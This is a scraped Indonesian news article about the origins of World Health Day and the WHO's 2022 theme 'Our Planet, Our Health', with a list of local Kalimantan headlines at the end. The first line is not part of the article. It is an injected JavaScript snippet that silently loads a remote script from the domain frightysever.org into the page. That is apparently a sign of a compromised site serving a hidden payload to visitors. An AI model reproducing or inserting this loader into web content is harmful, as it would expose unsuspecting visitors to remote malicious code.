(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hari Kesehatan Dunia 2022 “Planet Kita, Kesehatan Kita”


KANALKALIMANTAN.COM – Hari Kesehatan Dunia atau World Health Day tidak bisa dilepaskan dari pembentukan Organisasi Kesehatan Dunia (WHO).

Pada Desember 1945, pejabat Brasil dan Cina mengusulkan pembentukan organisasi kesehatan internasional, yang mencakup semua dan independen dari kekuasaan pemerintah.

Setengah tahun kemudian, di New York, pada Juli 1946, konstitusi Organisasi Kesehatan Dunia disetujui. Konstitusi tersebut mulai berlaku pada tanggal 7 April 1948, saat 61 negara menandatangani persetujuan.

Sebagai salah satu tindakan resmi pertama WHO, mereka menciptakan perayaan Hari Kesehatan Dunia. Peringatan ini pertama kali pada 22 Juli 1949, tetapi diubah menjadi 7 April, tanggal berdirinya WHO.

 

 

Baca juga: Perbaikan Gatot Subroto-Lingkar Dalam Selatan Banjarmasin, Alternatif Perlintasan Truk Dalam Kota

Sejak 1950, Hari Kesehatan mengangkat tema yang berbeda setiap tahun yang dipilih oleh Direktur Jenderal WHO saat ini, berdasarkan saran dari pemerintah dan staf anggota.

Hari Kesehatan Dunia memberikan kesempatan global untuk memusatkan perhatian pada masalah kesehatan masyarakat yang mempengaruhi masyarakat internasional.

 

“Our Planet, Our Health” Tema Hari Kesehatan Dunia 2022

Menghadapi pandemi Covid-19, planet yang tercemar, dan meningkatnya insiden penyakit, tema Hari Kesehatan Dunia 2022 adalah “Planet Kita, Kesehatan Kita (Our Planet, Our Health)”.

Tema tahun ini menyerukan pemulihan dari pandemi Covid-19, yang menempatkan kesehatan individu dan planet ini sebagai pusat kebijakan dan fokus pada kesejahteraan.

Baca juga: Malam Kenal Danlanal Kotabaru Bersama Jurnalis Saijaan

Polusi udara, air yang terkontaminasi, sanitasi yang tidak memadai termasuk pengelolaan limbah padat, risiko yang terkait dengan bahan kimia berbahaya tertentu, dan dampak negatif dari perubahan iklim adalah ancaman kesehatan masyarakat lingkungan yang paling mendesak.

Ancaman terhadap kesehatan masyarakat ini diperparah oleh praktik tata kelola kesehatan yang buruk dan ketidakadilan. Ancaman kesehatan juga disebabkan minimnya keahlian dan sumber daya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.